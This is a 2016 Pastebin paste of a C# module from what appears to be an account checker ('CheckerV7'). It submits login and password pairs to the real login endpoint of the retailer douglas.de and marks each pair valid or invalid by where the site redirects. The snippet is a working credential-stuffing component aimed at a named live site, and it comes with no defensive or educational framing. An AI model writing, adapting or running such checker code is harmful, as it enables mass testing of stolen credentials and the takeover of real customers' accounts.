Advertisement
Guest User

Untitled

a guest
Jun 4th, 2016
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.71 KB | None | 0 0
  1. using System;
  2. using System.Net;
  3.  
  4. namespace CheckerV7.Accounts
  5. {
  6.     class Douglas
  7.     {
  8.         public static rType.ResultType CheckLogin(string Login, string Password, int Timeout)
  9.         {
  10.             Core.HTTP http = new Core.HTTP(true);
  11.             http.Timeout = Timeout;
  12.             string hosturl = "https://www.douglas.de/douglas/login.html";
  13.             rType.ResultType result = rType.ResultType.Timeout;
  14.             try
  15.             {
  16.                 string source = http.GetResponse(hosturl, 0);
  17.                 if (source == "timeout")
  18.                 {
  19.                     return rType.ResultType.Timeout;
  20.                 }
  21.                 string slogin = WebUtility.UrlEncode(Login);
  22.                 string spass = WebUtility.UrlEncode(Password);
  23.                 string postdata = string.Format("j_username={0}&j_password={1}&dataPrivacyChecked=true&privacyNeededForValidation=true&login=Einloggen",
  24.                   slogin, spass);
  25.                 source = http.GetResponse("https://www.douglas.de/douglas/loginProcess.html", postdata);
  26.                 if (source == "timeout")
  27.                 {
  28.                     return rType.ResultType.Timeout;
  29.                 }
  30.                 string responseurl = http.Response.ResponseUri.ToString();
  31.                 if (responseurl == "https://www.douglas.de/douglas/")
  32.                 {
  33.                     result = rType.ResultType.Valid;
  34.                 }
  35.                 else
  36.                 {
  37.                     result = rType.ResultType.Invalid;
  38.                 }
  39.             }
  40.             catch (Exception ex)
  41.             {
  42.                 result = rType.ResultType.Error;
  43.             }
  44.             return result;
  45.         }
  46.     }
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement